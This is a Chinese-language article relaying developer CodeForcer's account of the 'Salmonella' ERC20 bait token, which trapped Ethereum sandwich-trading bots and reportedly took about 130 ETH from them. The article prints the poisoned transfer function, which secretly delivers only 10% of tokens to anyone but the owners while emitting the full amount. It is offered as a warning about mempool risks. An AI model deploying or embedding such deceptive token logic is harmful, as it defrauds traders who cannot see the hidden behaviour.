注:針對近期頻繁發生的以太坊三明治套利交易(sandwich trading),開發者CodeForcer創建了一種名為“沙門氏菌”(Salmonella)的ERC20誘餌代幣,通過這種方式,其在24小時內實現盈利130 ETH,而這也告訴了我們關于以太坊網路Mempool黑暗森林的對抗性,
以下是CodeForcer撰寫的內容:
那些追蹤以太坊mempool行動的人已意識到了三明治交易的突然興起,對于不了解這一概念的讀者來說,三明治交易是一種非常有趣的策略,其原理就是在受害者交易前后進行交易,并通過產生的滑點實現套利。
比方說,當有人進行一筆資產交易,套利者便搶在他之前購買同一資產(人為地抬高幣價),然后等到對方成功買入后,套利者再賣出后即可獲利,
這種策略在過去是非常高風險的,因為以太坊無法保證交易一定成功,mempool是一個很有趣的地方,但它并不是一個安全之地,
然而,隨著FlashBots等MEV(礦工可提取價值)服務的興起,這使得交易者可以創建一些“三明治包”(sandwich bundles),其中3筆交易要么全部被執行,要么都不執行,與此同時,礦工交易團隊的活動也在增長,他們將“三明治包”直接納入到自己挖得的區塊。
這兩種創新的結合,就使得三明治交易者可以進行一些“無風險”的套利活動,這讓很多人陷入了興奮的情緒當中。
但實際上,“無風險”并不是真的沒有風險。
為了向大家說明在mempool中玩游戲的風險,我演示了一種新的稱為“沙門氏菌”(Salmonella)的新交易策略,它涉及到利用通用的搶跑交易設置。三明治交易的目的是利用他人交易造成的滑點來獲利,而這種策略的目的是懲罰剝削者,
對區塊鏈進行的快速分析顯示,目前一個名為“Ethermine”的團隊執行了市場上大部分的三明治交易,在確定了最初的目標后,我開始分析他們的設置。
在撰寫本文時,Ethermine的設置相當基礎,其依靠的是Uniswap router 來執行交易,而交易歷史顯示Ethermine的大部分交易都屬于revert交易,其智能合約本身也持有各種失敗交易的代幣,考慮到這些之后,我開始著手創建我的Salmonella合約。
Salmonella合約的前提非常簡單,它是一個常規的ERC20代幣,其行為與正常用例中的任何其他ERC20代幣完全相同。但是,它有一些特殊的邏輯來檢測除指定所有者以外的其他人何時在進行交易,在這些情況下,它只返回指定金額的10%。
下面就是“有毒”的transfer函數:
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), “ERC20: transfer from the zero address”);
require(recipient != address(0), “ERC20: transfer to the zero address”);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, “ERC20: transfer amount exceeds balance”);
if (sender == ownerA || sender == ownerB) {
_balances[sender] = senderBalance – amount;
_balances[recipient] += amount;
} else {
_balances[sender] = senderBalance – amount;
uint256 trapAmount = (amount * 10) / 100;
_balances[recipient] += trapAmount;
}
emit Transfer(sender, recipient, amount);
}
我部署了Salmonella合約,然后建立了一個包含Salmonella和以太坊的簡單Uniswap池子。然后,我用二分檢索法復制了三明治交易的檢測數學,創建了一系列誘餌交易,使得Ethermine和其他三明治交易者會認為這是一個有趣的機會,
最后,我編寫了一個執行架構,使我能夠快速取消交易、更改gas價格和重置陷阱Uniswap池的狀態,
在喝了幾杯濃咖啡之后,我開始工作,發出了一系列誘餌交易,謹慎地將價格定在略低于市場gas的水平,以保持交易在mempool中,但如果價格開始下降,我就取消掉交易,
不到幾個小時的時間,我就遇到了第一個目標,并從其機器人那里掠奪了68 ETH,又過了幾個小時后,我又從他們的合約中撈走了35 ETH,
過了一夜時間之后,我瀏覽了一下我的Salmonella合約,結果發現自己的實驗清空了另外17個三明治交易合約,當然資金量都要比Ethermine要少得多,
我繼續執行了這個策略幾天,一路上又清空了一堆三明治交易合約,但隨著合約部署者調整他們的設置以更好地檢測我的有毒代幣之后,我的alpha策略很快就失效了。
總而言之,這是一個有趣的實驗,我現在把它作為一個警告呈現給社區,成為一名DeFi墮落者是很有趣的,但在進行交易時你一定要小心,因為這個游戲是高度對抗性的,